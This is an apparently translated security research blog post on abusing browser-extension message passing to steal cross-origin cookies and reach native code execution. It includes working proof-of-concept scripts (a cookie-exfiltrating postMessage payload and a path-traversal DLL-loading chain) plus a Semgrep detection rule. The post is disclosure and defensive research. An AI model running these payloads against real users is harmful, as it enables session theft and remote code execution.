浏览器扩展中的消息链实现通用代码执行:突破同源策略与沙箱

本文详细分析了如何通过链接浏览器扩展中的消息传递API,从网页跳转至实现通用代码执行,突破同源策略和浏览器沙箱。提供了两个影响数百万用户的新漏洞披露案例,并展示了如何通过大规模数据集查询和静态代码分析结合来发现此类漏洞。

浏览器扩展中的消息链实现通用代码执行

通过链接浏览器和浏览器扩展中的各种消息传递API,我演示了如何从网页跳转至“通用代码执行”,突破同源策略和浏览器沙箱。我提供了两个影响数百万用户的新漏洞披露作为示例。此外,我还展示了如何通过大规模数据集查询和静态代码分析结合来大规模发现此类漏洞。

注意:扩展案例研究已在4月向其所有者披露,但尚未修补,因此进行了审查。

引言 🔗

通用跨站脚本(XSS)被称为“最强大的XSS”,因为它能够在任何网页上执行(因此称为“通用”),并在某些情况下突破同源策略。原因是漏洞存在于浏览器或浏览器扩展中,允许其超越单个源的范畴。

然而,由于浏览器扩展API功能的不断增强和危险实现的本地消息传递协议,可以利用一个更具影响力的漏洞——通用代码执行。正如Arseny Reutov早在2017年《Chrome扩展中的PostMessage安全性》中观察到的,有一种方法可以将消息从网页一直传递到本地应用程序,自那时以来并没有太大改进。不幸的是,漏洞研究的一个事实是,你只会在中途意识到另一位研究人员之前已经采取了相同的路径,但重新审视旧技术以查看它们是否仍然适用仍然是值得的。

内容脚本消息传递 🔗

通常,浏览器扩展需要在用户访问的页面上下文中执行JavaScript。例如,浏览器可能会修改页面的文档对象模型(DOM)。这些扩展必须在它们的manifest.json文件中声明内容脚本,例如:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
"content_scripts": [
  {
    "js": [
      "js/contentscript.js"
    ],
    "matches": [
      "http://*/*",
      "https://*/*"
    ],
    "all_frames": true
  }
]

在这种情况下,扩展中的js/contentscript.js脚本将被注入到匹配模式的所有页面的所有帧中。虽然理想情况下模式应严格限制在特定页面,但常见的是看到通用扩展使用像示例中的通配符。

这当然是一个极其强大的功能,这就是为什么内容脚本被放置在称为“隔离世界”的私有执行环境中,大大限制了如果内容脚本中存在DOM XSS等漏洞可能造成的损害。内容脚本无法访问网页上的JavaScript变量或其他注入的内容脚本,并在单独的内容安全策略下运行,防止内联JavaScript执行。

因此,为了执行超出修改页面DOM的更复杂功能,内容脚本必须向其扩展的后台脚本或服务工作者传递消息,这些脚本在单独的页面上下文中运行。一个常见的模式是,这些后台脚本充当从内容脚本传递的消息的事件处理程序,这些消息包含有关加载的网页的信息。

为此,内容脚本可以使用多个API与后台脚本通信。一种常见的方法是通过chrome.runtime.sendMessage()。

例如,内容脚本执行以下操作:

1
await chrome.runtime.sendMessage({greeting: "hello"});

而后台脚本使用消息处理程序等待:

1
2
3
4
5
6
7
8
9
chrome.runtime.onMessage.addListener(
  function(request, sender, sendResponse) {
    console.log(sender.tab ?
                "from a content script:" + sender.tab.url :
                "from the extension");
    if (request.greeting === "hello")
      sendResponse({farewell: "goodbye"});
  }
);

虽然跨扩展消息传递是可能的,但大多数扩展只允许其自己的内容脚本和后台脚本之间的消息传递。不幸的是,正如之前暗示的,恶意网页有许多方式可以闯入这种对话。

postMessage() 到 sendMessage() 🔗

扩展内容脚本中一个常见的易受攻击模式是postMessage处理程序中缺乏来源验证。

postMessage是一种与sendMessage分开的消息传递机制,通常由网页用于跨窗口/标签页消息传递,而不是扩展。然而,它为扩展开发人员提供了一种方便的方式,允许网页与隔离的内容脚本以及后台脚本通信。事实上,这是Chrome自己的开发者文档推荐的模式。

例如,考虑一个简单的用例,其中网页想要检查扩展的版本。回想一下,内容脚本在隔离世界中运行,无法访问它们嵌入的网页中的JavaScript变量。然而,内容脚本仍然共享对页面DOM的访问权限,因此可以接收postMessage消息。

网页可以运行以下代码:

1
2
3
4
document.getElementById("checkInstalledButton").addEventListener("click", () => {
  window.postMessage(
      {type: "CHECK_INSTALLED_VERSION", latestVersion: "1.2.3" }, "*");
}, false);

而内容脚本监听消息:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
var port = chrome.runtime.connect();

window.addEventListener("message", (event) => {
  // We only accept messages from ourselves
  if (event.source !== window) {
    return;
  }

  if (event.data.type && (event.data.type === "CHECK_INSTALLED_VERSION")) {
    console.log("Content script received: " + event.data.type);
    port.postMessage(event.data);
  }
}, false);

值得注意的是,如果内容脚本使用通配符匹配模式注入,则事件源检查提供的保护完全无效,因为这意味着任何来源仍然可以通过向自身发送postMessage来触发此网页-内容脚本-后台脚本通道。

突破同源策略 🔗

通过利用内容脚本和后台脚本之间的信任边界,恶意网页可以轻松使用易受攻击扩展的扩展功能突破同源策略保护。

一个例子是拥有300,000用户的“扩展A”,它为https://website-a.com“提供增强的用户体验”。然而,扩展清单在每个页面上注入内容脚本,而不仅仅是https://website-a.com:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
"content_scripts": [
  {
    "js": [
      "js/jquery-3.2.1.min.js",
      "js/contentscript.js",
    ],
    "matches": [
      "http://*/*",
      "https://*/*"
    ],
    "all_frames": true
  }

此外,该扩展具有访问多个其他来源cookie的权限:

1
2
3
4
5
6
7
8
"permissions": [
  "cookies",
  "webRequest",
  "webRequestBlocking",
  "https://website-a.com/*",
  "https://website-b.com/*",
  "https://*.website-c.com/*"
]

利用相同的嵌入页面通信模式,后台脚本接受以下消息类型,该类型简单地返回请求域的所有cookie:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
chrome.runtime.onMessage.addListener(function(a, b, c) {
  switch (a.Action) {
    // ...
    case "GETCOOKIE":
        GetCookie(a, b.tab.id);
        break;
    // ...

function GetCookie(a, b) {
    chrome.cookies.getAll({
        domain: a.URL
    }, function(c) {
        var d = [];
        $(c).each(function() {
            d.push({
                name: this.name,
                value: this.value,
                domain: this.domain,
                secure: this.secure,
                path: this.path
            })
        });
        a.Data = JSON.stringify(d);
        SendMessage("ONRESULT", a, b)
    })
}

因此,任何包含以下脚本的域的任何网页都可以触发扩展将白名单域的会话cookie返回给页面:

1
2
3
4
5
6
7
8
9
function runPoc() {           
    const payload = {
        Action: "GETCOOKIE",
        background: true,
        URL: "website-a.com"
    }
    window.postMessage(payload, '*');          
}
setTimeout(runPoc, 1000)

这实际上是一个同源策略突破,因为https://example.com上的恶意页面现在可以访问https://website-a.com的cookie。

本地消息传递 🔗

然而,为了超越现有研究和仅限Web的影响,我们可以转向另一个浏览器扩展功能:本地消息传递。这允许后台脚本与主机操作系统本身上运行的本地应用程序通信。例如,密码管理器扩展从桌面上的本地密码管理器应用程序检索密码。

这些本地应用程序必须声明一个本地消息传递主机清单文件,然后由浏览器在启动应用程序时引用。

1
2
3
4
5
6
7
{
  "name": "com.my_company.my_application",
  "description": "My Application",
  "path": "C:\\Program Files\\My Application\\chrome_native_messaging_host.exe",
  "type": "stdio",
  "allowed_origins": ["chrome-extension://knldjmfmopnpolahpmmgbagdohdnhkik/"]
}

一旦启动,浏览器将处理使用stdin和stdout将消息从扩展传递到由路径指定的进程。然后,后台脚本可以使用chrome.runtime.sendNativeMessage()发送消息:

1
2
3
4
5
6
7
chrome.runtime.sendNativeMessage(
  'com.my_company.my_application',
  {text: 'Hello'},
  function (response) {
    console.log('Received ' + response);
  }
);

同时,本地应用程序可以以任何方式处理stdin消息——有时是危险的。

因此,我们有一个完整的通用代码执行链:

  1. 浏览器扩展具有内容脚本的通配符模式。
  2. 内容脚本使用sendMessage将postMessage消息传递给后台脚本。
  3. 后台脚本使用sendNativeMessage将消息传递给本地应用程序。
  4. 本地应用程序危险地处理消息,导致代码执行。

大规模浏览器扩展漏洞狩猎 🔗

考虑到此链的某些狭窄要求,找到这样的扩展可能令人望而生畏。然而,由于chrome-extension-manifests-dataset项目,可以快速查询数十万个Chrome扩展以匹配清单。

查询所有用户数大于250,000、包含内容脚本并使用本地消息传递的Chrome扩展可以像这样完成:

1
node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.length > 0 && manifest.permissions?.includes('nativeMessaging')"

在这一点上,过滤掉通配符内容脚本匹配模式可能没有帮助,因为这可以通过多种方式表达,包括<all_urls>。这产生了大约229个候选者,可以使用Semgrep自定义代码扫描规则进一步缩小范围,以查找易受攻击的postMessage处理程序。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
rules:
- id: content-script-postmessage-to-chrome-runtime-sendmessage
  mode: taint
  options:
    interfile: true
  message: Content script postmessage handler forwards data to chrome runtime.
  languages:
  - javascript
  - typescript
  severity: ERROR
  pattern-sources:
    - patterns:
        - pattern-inside: window.addEventListener('message', function($EVENT) { ... }, ...)
        - pattern-not: ... if (<... $EVENT.origin ...>) { ... } ...
        - focus-metavariable: $EVENT
  pattern-sinks:
    - pattern: $CHROME_RUNTIME.sendMessage(...)
    - pattern: port.postMessage(...)

智能卡扩展中的命令执行 🔗

扩展中本地消息传递的一个常见用途是PKI(公钥基础设施)智能卡相关功能。PKI智能卡传统上用于无密码身份验证,但浏览器本身不支持,浏览器主要支持WebAuthn标准用于FIDO2和通行密钥。

因此,为了填补这一空白,希望使用PKI智能卡身份验证的网页依赖于浏览器扩展,这些扩展与与智能卡接口的本地应用程序通信。鉴于大量企业网站仍然依赖PKI智能卡,这些扩展拥有惊人的庞大用户群。

其中一个扩展是拥有200万用户的扩展B。截至最新版本,该扩展在所有页面中注入其内容脚本。不幸的是,鉴于该扩展的性质,允许PKI智能卡功能在任何页面上运行是“设计上的”。

1
2
3
4
5
6
"content_scripts": [ {
  "all_frames": true,
  "js": [ "content.js" ],
  "matches": [ "*://*/*", "file:///*" ],
  "run_at": "document_start"
} ]

内容脚本监听消息并将其传递给后台脚本。虽然似乎有来源检查,但它实际上取自消息数据本身,可以由发送者直接控制。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
window.addEventListener("message", function(event) {
    // We only accept messages from ourselves
    if (event.source !== window)
        return;

    if (event.data.src && (event.data.src === "user_page.js")) {
        event.data["origin"] = location.origin;
        if (SDLogToConsole) {
            console.log("From page: ");
            console.log(event.data);
        }
        //Send Message to Extension
        chrome.runtime.sendMessage(event.data, function(resp) {});
    }
});

反过来,后台脚本将消息直接传递给本地应用程序。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
var port = chrome.runtime.connectNative("example.b.chrome.host");

chrome.runtime.onMessage.addListener(
  function(request, sender, sendResponse) {
    console.log(sender.tab ?
                "from a content script:" + sender.tab.url :
                "From the extension");	
   if (port == null )
   {
	chrome.windows.create({url: "popup.html", type:"popup", top:100, left:100, width:630,height:320});
	return true;
   }
   port.postMessage(request);	
   return true;
  });

那么本地应用程序如何处理消息呢?首先,我们必须识别与example.b.chrome.host关联的应用程序。扩展的网站提供了适用于各种操作系统的相应本地应用程序。还提供了一些集成源代码,二进制本身是一个.NET程序集。

从那里,可以识别消息解析代码,该代码将stdin解析为包含action键的JSON对象。对于GetCertLib操作,它获取JSON对象中PKCS11Lib项的值,并最终将其传递给一个函数,该函数在PKCS11Lib路径加载DLL。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
public static TxnRespWithObj<List<X509Certificate2>> EnumerateSCCertificates(string PKCS11Lib)
    {
      List<X509Certificate2> x509Certificate2List = new List<X509Certificate2>();
      TxnRespWithObj<List<X509Certificate2>> txnRespWithObj1;
      try
      {
        string str = "C:\\Windows\\System32\\" + PKCS11Lib;
        if (!File.Exists(str))
          return new TxnRespWithObj<List<X509Certificate2>>()
          {
            IsSuccess = false,
            TxnOutcome = "Required Smartcard driver " + str + " not found. Install token drivers and try again."
          };
        using (IPkcs11Library pkcs11Library = PKCS11SCUnlock.Factories.Pkcs11LibraryFactory.LoadPkcs11Library(PKCS11SCUnlock.Factories, str, AppType.MultiThreaded))

这是DLL加载的一个非常常见的遍历模式,我也在ZScaler Client Connector中利用过。

因此,通过首先触发恶意DLL文件的下载,然后发送带有GetCertLib操作和指向下载位置的PKCS11Lib的消息,攻击者可以从任何网页跳转到完全命令执行,只要受害者安装了扩展和匹配的本地应用程序。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<script>
    // Function to handle incoming postMessage events
    function receiveMessage(event) {
        // Access the data sent from the other window/iframe
        const receivedData = event.data;

        // Create a new paragraph element to display the message
        const newMessage = document.createElement('p');
        newMessage.textContent = JSON.stringify(receivedData);

        // Append the new message to the message container
        const messageContainer = document.getElementById('messageContainer');
        messageContainer.appendChild(newMessage);
    }

    // Add event listener to listen for postMessage events
    window.addEventListener('message', receiveMessage);

function runPoc() {
window.postMessage({src: 'user_page.js', action: 'GetCertLib', PKCS11Lib: '..\\..\\..\\..\\..\\Users\\James\\Downloads\\payload.txt'}, "*")
}

function downloadPayload() {
  const downloadLink = document.getElementById('download');
  downloadLink.click()
  setTimeout(runPoc, 2000);
}

setTimeout(downloadPayload, 2000);
</script>

结论 🔗

在本文中,我演示了如何通过本地消息传递扩展浏览器扩展消息链以实现“通用代码执行”。通过大规模数据集和静态代码分析自动化,可以找到大量具有庞大用户群的可利用扩展。某些使用此模式的扩展的性质使得在源头难以保护,因此必须在链中的每个环节仔细处理。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计